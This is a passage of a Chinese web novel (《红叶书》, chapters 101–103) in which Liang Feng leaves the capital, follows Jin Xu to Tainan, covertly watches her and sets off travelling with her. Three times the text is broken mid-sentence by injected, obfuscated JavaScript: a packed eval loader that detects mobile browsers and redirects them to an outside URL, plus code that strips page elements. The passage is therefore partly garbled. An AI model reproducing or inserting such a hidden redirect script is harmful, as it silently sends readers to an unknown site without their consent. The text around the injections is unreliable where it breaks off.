梁风仍被要求陪在皇帝身边,听皇帝诉苦,听皇帝惋惜,听皇帝心痛。皇帝总共就三个儿子,一个没了。 他在宫中偶尔会见到与義,想和与義一块商量离京的法子,但他又不敢和与義离得太近。 与義反而找他找得殷勤,没事跟他借点钱,有事跟他借点钱,梁风慷慨大方。 只是他会私下偷偷提醒道:“太子被废后可要另立储君,我怕我们接触密切,皇帝会怀疑我想要扶持你。” “啊?”与義一脸懵。 与義耸肩,“肯定是三皇兄啊。不可能是二皇姐吧?”与義皱眉认真想了想,“我有个弟弟或者妹妹快出生了,反正不会是我。” 与義拍拍梁风肩膀,“安心啦,你如今也没有兵权了。” 也是,没有兵权了。他要是还有兵权,遇上这种事情会被盯死吧。 ......现在寸步不离皇帝身侧,也算是被盯死了吧。 宫里有位妃子即将生产他倒是知道,三皇子为被刺之事找废太子要说法的这些天,朝堂上不少人提议另立储君的事。皇帝为此极不耐烦,命梁风始终跟着。 皇帝不急于新立储君,估计是想看看这快出生的孩子是男是女。 趁这段日子在皇帝跟前沾光,皇帝也还没有正式收回他肃贪的权限,梁风托人问了问温柔馆的情况。 宫外的衙门回复相当迅速,说那家馆子卖了好大的价钱,那是个好馆,虽然接连有人被抓进牢里,还有人去世了,但那是个好馆。 梁风回想她那日的神情,直觉不太可信。 府里的小缃常常会去看她。八月近尾声的时候,小缃来信,金絮在半个时辰前离京了。 和她随行的人是丽姬,小缃还说姑娘们的铺子起名叫温记香铺,“温”应当是取自温柔馆的温。 梁风收到信件,命暗卫在暗中保护她们安全,等她们到了太南之后确认一下住的地方,不用盯梢。 然后他问小缃温柔馆的情况,和金絮在离京前是否有不开心的情绪。 小缃说温柔馆卖了五枚铜板,这换了谁能开心。 梁风登时懵了,脑子里浮现出宫打听的人回复他时的嘴脸。 “殿下,那可是座好宅子,嘿嘿嘿嘿。” 梁风不向皇帝请示,直接出宫,骑马去温记香铺。 铺子里火蓉在,火蓉给他看了衙门赏给金絮的“大善人”牌匾,已经断成两截,还有金絮留下的五枚铜板。 火蓉解释说:“阿絮去官府拿钱的时候,那些当官的给她看了本小册子,册子上原本写的是符合规矩的钱数,但那些人却说宅子有一处缺损,修补好了缺损官府才收房,而修补这处缺损的钱由屋主人出,于是凭这一项就将钱全扣了,扣得只剩五个铜板。那些缺损,也不过是些墙皮剥落、地皮翘翻的小问题。” “她为什么不告诉我?”这么大的事情,她愿意在他面前塞包子,也不愿意告诉他。 火蓉摊手,“她说不想再欠你人情了,我们其他人都是赞同让她告诉你的。” 旁边的大厢道:“梁公子有心,特意过来一趟相问,不过,阿絮姐已经离京了。” 梁风简直有点生她的气了,还多谢他这几年的照拂呢,她倒是让他照拂啊。 “那也没有和官府说理去?” “说了啊。”火蓉再摊手,“被赶出来了啊,你以为我们是你。” 梁风哑口无言。 不行,不给她处理好这件事,他不能离京。 梁风不找皇帝,不找相府,把状告给了冯棹台。 冯棹台作为御史接到他的举报,立马展开调查。 金絮无法反抗,反抗只会被官府赶出去的事情,在冯棹台手里两三下就查清了。 冯棹台将火蓉口中的那本册子还有被金絮一怒之下摔断的大善人牌匾,一起交给相府。 皇帝终于从被废太子愁白的头发和皱纹中抬起了头。 冯棹台向相府弹劾宫外衙门贪污眛钱,游照同同意判罚。 皇帝坐不住了,对废太子的惋惜和悲伤盖不住此刻被掠夺话语权的恐慌,插嘴询问游照同此事细节。 游照同回禀,皇帝于是发怒,严厉惩治涉及此事的所有官员。 罚俸的罚俸,降职的降职,昧掉的钱全数吐出,归还百姓,并严格记录每一笔钱的去向 “这提醒我了。”冯棹台和梁风道:“这样的事情只要同卖宅子的老百姓核对卖出的钱币是否落实就行了,非常容易查。我们作为御史,目光不能只放在官员身上。” 冯棹台为雪姬选好了葬址,这会开始办事还有心思反思。梁风觉得佩服。 他出宫确认温柔馆的钱是否和数。他无法代领,有了皇帝的旨意,每笔钱只能由本人来取。 温柔馆确实值钱,卖出的数额不小。那她还得上京一趟,这么多钱不拿浪费了。梁风心里小小窃喜。 这一趟出宫,皇帝没再叫他回去。 卖馆钱也落地,在京的事情基本上都处理好了,他向皇帝请旨离京。 皇帝不批。 ——早都猜到了。 没有别的地方可去,整日不知道该干什么。梁风将全副心思用来找办法离京。 他绞尽脑汁想办法,想不出来。非要留他在京,总不会是皇帝怕他偷偷去解救流放途中的废太子吧。 他逐渐整天坐在王府的院子里,躺在石凳上看天空,一小片的天空,使劲想办法,想不出来。 很快到了九月,梁风愈发想见金絮。 不知道金絮会不会想他。多少想过一点吧。 从脑子里倏地掠过去的想也是想,他不挑。 脑子休息的间隙,他不断地向皇帝请旨离京,皇帝始终不批。 不知道她在太南干什么,她的生活会不会很丰富啊。梁风头一次意识到自己的生活过得如此单调。真闲下来之后,最累的是脑子。 脑子发累的时候,冯棹台反思后做出了举动,似乎又弹劾了一名官员。 梁风没有细打听,在听说冯棹台触动太南的郡守根基,他才打听了一下。 太南郡守柳大人即将和宫内九卿之一的光禄勋大夫曹大人互换。 冯棹台一个京官御史,不在相府,居然动摇了相府东曹的权柄,干涉二千石任免,更换了郡太守人选。 打听完了也找不到他插手的地方,梁风在一小片天空下死掉。 一日不见她,八九十年过去了。 他感到了苍老。 随着苍老的心态浮现,宫里却传出了新生的喜悦。 皇帝喜得第八子。 后宫有位妃子生了一位公主,是皇帝的第八个孩子。 满朝文武向皇帝道喜的时候,梁风也进宫凑了热闹。 后面的热闹会更大,这是位公主,不是皇子。梁风懒得管这些,趁着皇帝大喜的时候再次请旨离京。 沉浸喜悦中的皇帝看了他一眼,眉开眼笑的样子皱得如同新生的婴儿。 皇帝批了。 梁风这一刻地喜悦甚过皇帝。 前脚失了太子,后脚以四十三岁高龄抱得公主,皇帝被这起伏的悲喜冲昏了头脑,竟然批了! 梁风瞬间简直比金絮得知自己能离京时还要高兴,他和她感同身受。 梁风不管不顾,扔下府里的人骑了马就飞奔去往太南。 赶得快,也就两天路程。 也就两天的路程。 他风一般地赶路。 过了大半进程,肚子饿了,他才反应过来,上路一点干粮没带。 他扭头继续飞奔去往太南,饥饿的肚子里装的全是想她!想她! 树林野地的景色飞速冲向身后,枝条叶子将头顶的天空切成大片大片,马蹄踏响,满目空阔,天际线触手可及。他差点要闭眼,难得的景色想和她一起看第一眼。 梁风跑得更快。 一眨眼,太南城门近在眼前。 曾经战火炮轰的痕迹已经不见,崭新得不像记忆中的样子。 她肯定没想到,他这么快就追过来了,可以说是阴魂不散。 嘿嘿。梁风顺利进城,早就记下暗卫和他说过的地址。 然而穿过城门,陌生的城镇阻拦着一切熟识的旧人。全新的街道店铺疏落排开,行人稀少,往来擦肩的人多穿着麻布和行商着装。 在他印象里,太南重文,路上多见的应是打扮斯文的书生。 身下骏马慢慢踱步,梁风边走边看,一阵恍惚,饿得头晕眼花。 他完全不认路了,走到哪里都不知道,心里沉沉的。 哪怕是战火焚毁前的太南,在他的记忆里也所剩不多了。梁风心慌起来,这样的太南城让她看见了,她会不会失望。 梁风甩掉脑子,肯定不会。她会遗憾,然后喜欢起现如今的太南城来。 郡县战后重建从 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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很小的院落,一进,庭院的地面有一层砂土,三四间厢房,左侧的独立厢房竖着烟囱。房屋都是土砌,已经出现剥落的情况,墙角摆着些沾灰的竹筐,屋檐下挂着些晒干的食材。窗户和大门一样,有缺损但不漏风。趴在墙头看,一览无遗,院子里没人。 她可能出门了。他一个暗卫都没从京城带过来,想找到她的行踪都没有人手。 梁风掌心攥着烧饼,跳下去,后退两步,再次整体打量这座小屋子。 看了半晌,他低下头,围着小巷子里外绕了一圈,没再看见第二棵树。 一张烧饼填不饱两天没吃饭的胃,梁风走去相隔不远的一家馄饨铺子吃饭。点了汤馄饨坐下,还能看见她的门户。 汤馄饨端上来,热气沸沸,梁风吃了一口,几乎没味的鸡汤加寥寥几颗葱花,味道比军营的粗粮还要淡。 她怎么能住在这种地方。 他不觉得和她之间有什么距离,但他此刻可以理解她为什么会那样说了。 梁风一边吃一边看她的门户。 但她很痛快,在外面玩得家都不回。 他买的那座和光府就应该给她住,那本来就是她的家。 一碗馄饨见底,天完全黑了,他忽然产生一阵熟悉的感应。 梁风下意识看她的大门,正巧右侧街的那头走来两名女子,他定睛一瞧,瞧见丽姬,丽姬身侧是金絮。 她们有说有笑,并肩回家。一起走到大门前,金絮拿出钥匙开门,丽姬打了个哈欠。两人走了进去,没有注意到他。 梁风看见她们穿的衣服,料子不好,色彩也不丰富,不是从前在温柔馆会穿的衣服。 勺子从手里滑脱,梁风默默,低头看自己的衣服,拽拽衣领,布料滑得溜手。 又看向她紧闭的大门,看起来比王府的门禁还要森严。 他决定了,先不去找她,必须得准备一下。 吃完馄饨,梁风去和光府。 作为曾经的禁宅,和光府附近行人很少,明明位置不算偏僻,但是四周荒无人烟,天黑了宅子里连灯都没有点。 老李在和光府留了丫鬟小厮各一名,负责守宅和给宅子增添人气。他来前没有提前吩咐,敲大门肯定是无人应的,梁风直接翻墙进去。 各处一支蜡烛都没有,月亮还没亮起来,他凭着目力辨别方向,记忆里的顾宅是什么布局只记得大概。 能感觉到周围几乎无树,闻不见一点草木香,他记得顾南蕴很喜欢种花草,温柔馆有时也会点花果香料。 往里走一段,仍不见烛光,迎面却看见一座灰败的主屋。 他感到熟悉,主屋整体还是记忆中的模样,焚烧的痕迹没有完全清除,墙角屋檐还有缺损,鲜血的痕迹清干净了。 之前老李无闲大修,只将和光府里外清扫了一遍,梁风想着等他出宫再安排,也想听取她的意见。可是此刻看到眼前的屋子,他觉得还是从前的样子好,如果她能接受重建后的太南,也会喜欢这座翻新的旧宅吗? 182. 《红叶书》(一零二) 老李留下的丫鬟和小厮以为他是坏人。 梁风被赶了出去。 他去外面的客栈住,很早睡了。 第二天睁眼就过了未时,太阳已经不在正当中。 饭吃半饱,梁风骑马绕逛太南主街。在成衣铺子里买了身和她很像的衣裳换上,头冠卸了改用发带束着,向着她心里踏实地迈进一步。 他要熟悉如今太南城的模样,要知道与记忆里相比有何区别。万一金絮问他太南有哪些变化,他要能答得上来。 到了晚上,和光府的丫鬟小厮仍不许他进去,梁风又在客栈住一晚。 第三天,暗卫终于跟了上来。暗卫来了六名,带着老李与包袱一起,余下的暗卫留守京城。 老李当着梁风的面训斥了和光府的丫鬟小厮,两句便算了。 回来后,他头次在白日里观察和光府。 日头下的和光府没有夜间看起来那么陌生,可能是因为小时候那次在顾府学箭时都是白日里来的,没有夜里来过。 那年他十六岁,如今过去十年,有些事情还记得。墙体和楼屋大体布局是记忆里的样子,只是空了许多,破碎的东西老李都清干净了。 不知不觉走去府后马场,梁风还是愣住了。 马场保留,草地尽数枯萎,踩起来像铺着几条草根的沙地,就连初见她的紫藤花架也凋零得差不多了。 这样看,到底是不一样,哪怕处处都有种熟悉感,但是到底不一样。 他都有点不想带她来和光府了。 “这草场许多年没有打理过,枯草不除新草当然长得不好,还能重新打理。”老李在他身旁道。 梁风低头看着稀疏发黄的草根,点了点头,“嗯,打理好了之后能变成以前的样子。” 他住进和光府,拒绝穿老李带来的衣裳。 李晟打量他身上的麻布,若有所思,问道:“金姑娘是住在太南城里?” “是啊。” 老李点点头,“您身上这衣裳料子太差,容易磨肤,金姑娘是肯定不会穿这样的料子的。您若是想学她,可以穿黄麻。黄麻柔软许多,也便宜,下地干活的农夫都穿黄麻。” “我不是想学她。”梁风纠正:“我是想和她一样。” 老李意味深长地笑,“没法做到一样,您只能学她。” 梁风觉得说得不对,但他不和老李争执,同意老李买黄麻衣裳。 他先不与金絮见面,先偷偷观察她几天。 是观察,不是偷窥。 想知道她平常会去哪些地方、吃什么东西、买什么东西,然后做与她一样的事情。距离要偷偷地拉近,吓她一跳。 马上就是中秋了,不知道她有什么打算,会不会给他写信呢? 她每日的行程很固定。每隔一日会大早起来和南市的大爷大妈们互挤抢菜,刚开始她是独自一人赶早市,后面她抢不过,叫上了丽姬柔竹一起。中午她在家里不知道干什么,午后她会和丽姬柔竹一块出去玩,去各种地方,有时玩得挺晚。 她真是痛快。不管是出去玩,还是在菜堆子里抢食,她都是痛快的。 梁风感到郁闷。 观察她的时候有意外收获,暗卫注意到她身边的徐礼在四处寻找门路买官,似乎屡屡碰壁。 金絮没有要出手帮助的意思,梁风先不管这个徐娘的儿子。 到了中秋这日,梁风满怀期待地醒来,去到常去的高楼顶上,远远地看她的小巷子,但她今早似乎起晚了。 过佳节还睡懒觉,太南的祈福大街提前几天就在为过节做准备了。 做准备。他忽然间灵光一闪,吩咐老李去买花灯。 花灯买来,他挑了一盏比巴掌大一圈的莲花灯,在花瓣上面画上王府的标志长尾鱼纹,再雇一位老妇人,准备一个小摊子。 老妇人带着摊子沿街卖灯,将这盏画了鱼纹的花灯想办法卖给金絮。 前面都玩了几天了,中秋庙会她肯定也会去。要是能顺利卖给她,撺掇她许个愿,把愿望写进花灯里,放出去。庙会结束后他再将灯捞回来,就能听到她的愿望了。 梁风就这么打算。 临时起意,准备匆忙,做成的小摊子非常简陋。 到了傍晚,金絮果不其然和丽姬柔竹一起朝着庙会出发。 梁风将摊子提前支好,盯着金絮进入庙会的行进路线,贴着她摆摊。 他的衣服与她十分贴近了,他的头发与她也十分贴近了,但梁风还是有点不放心,怕这样显得太刻意,想从她身边迂回一下。 梁风相隔几个店铺地跟在她身后,看她和丽姬柔竹嘻嘻哈哈吃吃喝喝。不一会儿,她两只手拿满了吃的,吃都吃不过来,而他自己两手空空。 到了老妇人的摊子前,老妇人招呼一声,金絮停下了。 她低头挑挑拣拣,丽姬和柔竹和她凑一起指指点点,最后她买下了一盏。 脖子到用时方恨短,梁风躲在路边,拼命地伸长脖子想看她买的哪一盏。 最后她们三人买齐了,拿了笔到一边写愿。 丽姬在接过笔时,绕到她身后,突然往他这个方向看了一眼。 锐利的目光直视他,丽姬看见他了。 梁风吓得闪身躲到墙角后。 丽姬看见他了! 居然发现了他,丽姬不会告诉金絮吧,金絮知道了不会在那盏花灯里面写一些玩笑话吧。 梁风惊魂甫定,探出脑袋偷偷看,她们三人写好了愿,准备去河边放灯。 梁风跟过去,随手扯了路边面具摊子的一张面具。待她们走得稍远,梁风去找老妇人,老妇人说:“那位姑娘买是买下了,不过她买了两个,她还买了一盏没有花纹只是寻常样式的荷花灯” 她还买了个备选的,肯定发现他了,她在鱼纹灯上写的愿望肯定是写着玩的,还是玩给他看的。 梁风戴上面具,悄悄跟过去。 她们在河边放花灯,打算再逛一会儿就回家去。 梁风找着机会,十分镇定自然地从她身边路过,想看看她能不能认出他来。 结果是她没认出来,梁风顺利并且默默无闻地走过她们身边。 看来他的打扮非常成功,她已经认不出他来了,曾经富贵堂皇的安分王已经不存在了,他可以用这副模样与她拉近距离了。 夜深了,庙会散去,她们回家。 梁风留在河边,始终盯着她放出花灯的大概范围。等到河边见不到行人,他和老李暗卫一人一艘小船,搜索鱼纹灯。 放灯的时候长了,花灯已经全部散开,星星落落几乎铺满河面,浩荡地向着更深远的地方飘去。 找了很久,终于有暗卫呼告发现。 几艘船靠拢,暗卫捧着花灯递给他。 找到了。临时画的鱼纹被水渍洇去许多,不大看得出形状了,蜡烛还没熄灭,一卷小纸条夹在花瓣的缝隙间。 梁风取下纸条展开看,上面四字,写着:愿君安好。 他眉头一皱,纸条递给老李看,“这说的是谁啊?” 温柔馆那些男的能叫作她的“君”?那他也能。 她有几个君啊? 她都没几个君。 “这说的肯定是我。”梁风笃定道。 老李还没说话,梁风已经自答,便点头认同。 梁风美滋滋,认没认出他来、真的假的都好,反正他很喜欢这四个字。 他心满意足地揣着纸条回和光府。 中秋节后,金絮似乎有了别的事干。 她在几家大酒楼茶馆和旁人谈天嗑瓜子,像是在等人。 梁风看了一阵,才注意到她选的几家茶馆都在郡守府附近,不是等人,估计是想为徐礼买官的事打听消息。 梁风若有所思,心里再次产生打算。 在高楼上看她,看着看着忽然感觉身后有人走近,梁风一回头,见身后赫然站着丽姬。 他吓了一跳。 丽姬斜睨他,上下打量他一遍,不屑地撇嘴,又看了看在这高楼之上能一眼看见对面酒楼窗户边的金絮。 “好啊,你在偷窥,我要告诉金絮去。”丽姬扭头就走。 梁风头皮发麻,两步追上丽姬拦下,“怎么没人通报你就进来了?” “还能有人拦着我?”丽姬叉腰。 也是。梁风澄清:“我不是在偷窥她。” “是不是偷窥你说了不算,她说了才算,你和她说去。” 梁风难以反驳,“我会告诉她,但是丽姬姑娘你先别和她说,我来和她说。” 丽姬冷冷淡淡。梁风道:“你和她说的话,你会在旁边煽风点火。” 丽姬扯嘴一笑,一副“你说对了”的不屑神情。 “难怪她最近总感觉暗中有人盯着她,她都快要去报官了,还以为是你的暗卫没有撤走,都快恨死你了。” 丽姬这就在煽风点火了,她才不会恨他呢。梁风道:“她身边没有暗卫,只有我。” 丽姬一呵,闲庭信步坐到榻上,“我来找你呢,也不是想举报你,我是有交易的。” 丽姬道:“我不会告诉她这段时间是你在偷窥她,还会告诉你她最近的打算,但你也要答应我的条件。” 梁风一愣,下意识反驳:“我没有偷窥她。”转而反应过来,“你不想陪在她身边了?” “这是我和她的事,与你无关。” 梁风也不用丽姬回答,“好,什么条件,你随便说。” “不是什么大事,你打听一下西域那边的情况。我想知道如今西域那边和中原如何往来,西域人喜欢什么,中原在西域的商人日子过得怎么样。” “好。”的确不是大事,西域都护府离得太远,百姓不好打听情况,丽姬恐怕是图省事才来找他,梁风毫不犹豫地答应,“丽姬姑 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14839917|159134||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 娘想去西域都护府啊?” “去玩玩。” 梁风想道:“我知道的不多,详细情况我会帮你打听。西域都护府分三十六国,习俗各异,语言不通,要适应的话需要挺长一段时间的。丽姬姑娘去的路上最好找一个当地向导。” 丽姬露出一丝犹豫。梁风立马道:“外地人找本地向导容易被骗银子,丽姬姑娘放心,我帮你找。” 丽姬略略满意地点头。 梁风紧接着问:“她最近在干什么呢?” “她最近想去支郁村,找那个谁,就写话本那个人。” “笑长生?”梁风给丽姬倒茶喝。 “是吧。她找不着,支郁村在哪里都不知道,她还去翻书,《山海经》都翻了一遍,还是没找着。” 丽姬建议:“你要是找着了呢,就告诉她,她会感谢你。” 帮她找支郁村。这真是个好主意。太南的书肆多数毁于战火,寻常百姓肯定不好找,他的重要性就体现出来了。 “多谢丽姬姑娘。”他真心实意道。 梁风将丽姬的事情交给老李,他自己则为金絮专心画一张地图,投名状要先准备好。 到了十月,先前冯棹台在京对太南郡守的任免安排完成,新任太南郡守的曹大人调任,月初就职。 梁风借着新官上任,和新郡守走动几次,在郡守府内部打通关系,请曹大人让下面的人空出一个小官职给他。 曹大人答应了,但言明不会是个十分重要的职位,或许没有升迁的可能。曹大人新上任,不准备点一把火。 梁风当然说好,他在京城和这位曹大人没什么交集,能有说得通的地方都该庆幸。 一个小职,干点事就好,梁风打算安排给徐礼。 投名状这就准备好了。 梁风挑了月初的日子,选了一家她常去的酒楼,包了酒楼一间厢房,收买酒楼小二,穿好衣服,戴好面具,在厢房内坐等小二用有人想与她结伴同游为借口将她找来。 他等在这里,要不要找来由她决定,如果她不来,那他就再想办法。 之前随手扯的面具不贴脸,有碍视线,梁风专门找人做了个贴脸的。他还想了个新身份,他决定伪装成洪叶生。 洪叶生是红叶生,是他和她一起用的笔名。和她的距离十分近了,安分王离她可远。 梁风感觉一切安心,他躲到屏风后面。 没等一会儿,听见小二的提示金絮注意脚下的暗号,他心里紧张起来。 门开了,小二招呼金絮就坐并侍茶,然后门关了,房间里多了一道呼吸声。 梁风愈发紧张,双腿与躯干的关节全部僵了。他先把脑袋探出去,看见安静坐等的金絮背影,双腿就自己走过去了。 金絮听见动静看过来,眉毛一抽,直接起身道:“见过洪公子,民女并无结伴同游之意,告辞。” 她说完就走。梁风瞬间解开关节的锁,飞速拽住她,“你先别走这么快。” 梁风锁住她的手臂,“没有刚见面就走的道理,你先坐下,我们一起吃个饭。” 金絮眼角抽抽,盯住他施加压力,由他拉着坐下。 “你想去支郁村,我想和你一块去,我能帮你找路。” “为什么戴面具?”她不答,反问。 “你答应我,我就告诉你。” “不行。” 一股紧张又尴尬的气氛散开。 “我先自我介绍一下。”梁风按计划正经道:“在下名叫洪叶生,在家行十九,家中经商,此次出游是为的见识大好河山,不负年华。听闻姑娘欲前往并阳郡拜望笑长生,我也打算去,我们正一拍即合,不如一起?” 她疑惑,“笑长生在并阳郡?” “是啊是啊。”她抓住重点,梁风殷勤道:“并阳郡可远了,你一个人出远门多危险。” 她质问的眼神又转过来,“为什么叫洪叶生?” “我想这个名字会离你近一些。我们没有那么远,我们只有一本书的距离。”这个说辞梁风早想好了。 他攥着局促的手指,任她审视。 “你什么时候来了太南?” “中秋前就来了。” “你让人跟踪我?” “我......我......呃......” 这个说辞没想好,梁风理不直气不顺,“我没有让别人跟踪你......”他是让自己跟踪她。 他转移话头:“你看我这身衣裳怎么样?这衣裳穿着真不错,我很喜欢。” 他伸出手臂给她看,他穿的是朴素的黄麻,“和你穿的差不多吧?” 金絮垂眼看他的衣服料子,也看了看自己的手臂衣裳,最后抬头注视他的双眼。 心跳声充斥整个身躯和大脑,在她审视探究质问的目光下,这身衣裳简直和没穿是一样。 梁风不得不转移视线。 183. 《红叶书》(一零三) “明天我去找你,我有许多东西要给你看,都是为你准备的,于出行路上有帮助的。”他道。 “我得想想。”她道。 说动了。梁风看着她,“你明日一早要赶早市吧?” “还说没有跟踪我。”她瞪过来。 “没有......”梁风狡辩:“我是有观察你每日做了些什么,想和你做一样的事。”说完,他补了一句:“而已......。” 她继续瞪,“宫里的事情不管了吗?” “没有要我管的。我在京完全无事可干,好不容易出来一趟。”他拽住她的袖子,“我要和你一起去,你要带上我,你必须把我带上。” “你一个人出远门我不放心。不止我不放心,丽姬也不放心,你的柔竹也不放心。不如带上我一起,她们定能放心了。” 梁风碎碎念念,金絮审视他的目光有些松动。 不光是为了劝她带上自己,如果金絮真的要独自去并阳郡,他是无论如何都会偷偷跟着的。 金絮起身要走出去,梁风追着,“记得明早我去找你哦,你可不要提前出门,我带你去吉祥酒楼吃早饭。” 出到厢房外,丽姬竟然在楼下。 丽姬在和别桌的人喝酒,注意到金絮看去,酒也不喝了,立马溜了。 “原来是你!”金絮意识到了,生气地追过去,“你敢出卖我!” 梁风看着金絮跑远,跑远的时候给他回了个头。 丽姬是真的没和她说他在偷偷观察她的事,但是丽姬又不好意思真的瞒着她,于是出现在这里,拐着弯提醒金絮。 梁风不禁想,丽姬去了西域之后,金絮怎么办呢。 隔日一早天没亮,梁风带着画好的地图去找她。 他在门外等了一会,等到天亮,门开了。 她刚睡醒的样子,脸上白白的。她每天早晨睡醒脸上都会比较白,在温柔馆时就是这样,没有气色的样子,她总是没睡好。 金絮打着哈欠醒神,看见他,缩着肩膀,天气降温了。 梁风殷勤跑过去,献宝道:“你看,这是地图。” “等了多久了?” 梁风看看她,往多了说:“半个时辰。” 金絮没说什么,接过地图看几眼,微诧,“这是你画的?” “嗯嗯嗯。”梁风等待夸奖。 “画得不错。” 被夸奖了。梁风牵住她,“走,我带你去吃早饭。” 梁风带她去吉祥酒楼。 他点了她爱吃的包子,还有自己爱喝的鱼粥。金絮认真看地图细节,已是全然一副接受了他所献之宝的神情。 “我们何时出发?”他问。 “我们一起去啊?” “当然。”梁风厚起脸皮。 “这么远的距离,来回一趟要几个月了,皇帝不会有事情找你吗?” “你在担心这个。”梁风认真想了想,摇头,“不知道。老李会留在京城帮我应付,皇帝就算有事情找我,我也都走远了,回不去他找我也没用。” 她不说话了,想着事情吃包子。梁风把几碟酱菜放到她面前,几笼不同馅的包子放到她面前。 金絮看着等她临幸的一桌子,道:“一路上听我的还是听你的?” “听我们两个人的。”梁风殷殷地期待道。 她不反驳,筷尖一扫,“点这么多吃不完。” “你带上我了吗?” “嗯。” 梁风得逞地笑,与她贴近一些,“那待会吃完饭我们一起去看马,你选一匹马骑。” “选马?”她的眼睛亮起来。 “嗯。” 吃过早饭,梁风带她去和光府外的马厩。马匹数量不多,都是暗卫和老李来太南时骑过来的。 金絮开始挑选,摸摸这匹的鬃毛,摸摸那匹的脖子。 “我们骑马还是坐马车?”她边摸边问。 “骑马吧,沿路多山,马车太麻烦了些。”梁风道:“我骑我自己的,你选一匹你喜欢的。” 她扭头,“你的是哪匹?” 梁风去马厩最里面牵了他的马来。金絮一见着就哇了一声,她兴奋地上上下下摸摸抱抱,看起来很喜欢。 梁风不免跟着长脸,十分得意,“这可是匹草原马,我养了许多年的。” “我记得它。它叫什么名字?” 梁风一愣,脑子里突然一片空白。 她道:“我长这么大,就见过这一匹草原马,是你养的。当年我就和你说过你要好好给它起名字。” 当年。 梁风忽然间想起了什么。 隔了十年,这件事情忘记了。 她记得很清楚,她的记忆比他厉害多了。 梁风现想,立马想到了,正经地说:“它叫金风。” 她有些狐疑,“哪个惊?哪个疯?” 一被质疑他就转念,“荆风,荆轲的威风的意思。”他强调:“不是你的金,不是我的风哦。” 她接受这个名字了。 金絮转向另一匹枣红色的马,又问:“那它呢?” 梁风看见旁边树根底下落满果子,便道:“它叫木果。” 金絮爱不释手地摸,最终选定木果作为她的坐骑。 梁风道:“路上事宜我来准备,你没有经验,全交给我。马上入冬了,我们要尽快出发。” “什么时候出发?” “一日后吧。” “好。”她应下。 梁风心里立刻把要准备的物事过了一遍,行李倒也不算多,必不可少的东西备两人份,还有她会需要用的东西,像月事带和红糖之类,两匹马足够了。 他正想着,金絮忽然问:“徐礼的官位是不是你安排的?” 他一下收拢思绪,点头,“嗯。” “我替他谢谢你。” “哦。你替他谢谢我,你们那么好。” “我替柔竹替他谢谢你。” 梁风翘起鼻子,“你想怎么谢呢?” 她想了一下,“你想我怎么谢呢?” 梁风了不起了,“现在不知道,路上我再和你说。” “行。”她应下。 翘起的鼻子落不下去,梁风心里几只小麻雀在乱跳,雀跃得很。 有老李在,行李准备得很快。 老李给丽姬做了个介绍西域风俗的小册子,七八页,内容简单,涵盖广泛,作为初步了解西域地区风俗非常适用。 去郡守府翻一翻书,这本小册子也就写出来了。梁风将册子托金絮送给丽姬,叮嘱不能外传。毕竟不是全由他这边做出来的,还借了郡守府的光。 过了一日,行李全部准备完毕,梁风带齐装备上门找她,金絮这天也起了个大早。 出门前吃顿饭,金絮念叨:“丽姬走得比我还快,她一个人出远门也不怕我担心。” “你放心。我给她的小册子写了该怎么找向导,她总不至于迷路,丽姬姑娘胆子大。” “她不止想去西域,她还想去会会传说中的武林盟主。” “武林盟主?我以前听一些山匪说过,好像江湖中是有这么号人物,据说年纪起码六十了。” “那么老?” 她今天发髻简单,只用红绳子束了一条马尾,便于出行,穿的也不是裙裾,是短打,可以骑马。她这副打扮,很像他遥远记忆中的顾南蕴。 梁风给她戴一顶斗笠,出发。 “出发!”金絮跨上马兴奋喊道。 一起出城,清晨的阳光斜斜的,她坐在荆风上歪了歪斗笠遮阳。梁风驾马贴近,把她的斗笠扶正。 “多晒点太阳,你太白了,脸上都没点颜色。” 金絮拍掉他的手,“在温柔馆时我都跟你解释过很多遍了,我只是白,不是没气色,更不是病了。” 在温柔馆时就说让她多晒晒太阳,次次被她反驳。 她指指点点,“回到太南我还黑了呢,变白的是你,你看看你退役至今,白得可不止一点点。” 梁风摸脸,没觉得自己白了。 “多晒太阳不是也好,你说过你晒太阳会舒服很多。” 她不以为然,“我正舒服着呢,用不着晒太阳。” 回到太南她就是很舒服,当然不需要别的东西辅助。梁风道:“你离京之后,我的肃贪还没有结束。我将温柔馆的事情举报给御史,冯棹台查了一遍,查证宫外府衙贪钱。皇帝下令惩治所有涉腐官员,命贪官 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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金絮却没再说什么。梁风不断偷瞟她,她神色如常,好像没有生气,好像没有反感。 不管她怎么想,反正他是有这个打算的,已经明明白白告诉她了,他很坦荡。 梁风放松下来,安慰自己不紧张了。 走着走着,太阳到了头顶,刚好走入一片竹林,竹子遮住烈日。 骑马骑累了她就下去走走,将马匹交给他牵,自己随意摘路边的花花草草玩。 继续走着走着,她走累了,逐渐落到后面去。 梁风回头看她,看见她一脸欲言又止,问道:“怎么了?” “我想解手。”她道。 “哦。” 说起这个,他也有点想。 “给你。”他把马缰递过去,“你牵着。” 金絮接过马缰,梁风走去旁边的竹林,走远一点,背对她,开始解手。 解完了,走回去,他伸出手,要接回马缰。 金絮看看他的手,没给。 梁风将掌心在衣服上擦了擦,再伸出去接。 金絮犹豫着递出马缰。 牵住马,梁风道:“好了,轮到你了。” 她见状没说什么,走去了树林另一边。 梁风拿出怀里的短哨,吹了一下,提醒四周的暗卫散开回避。 嘹亮的竹音响彻竹林,金絮骤然停住,走了回来。 “我不解了。” 梁风当即道:“不行,你不可能一直忍着。” 她不说话,就是站住不动。 “你放心,暗卫都散开了。” 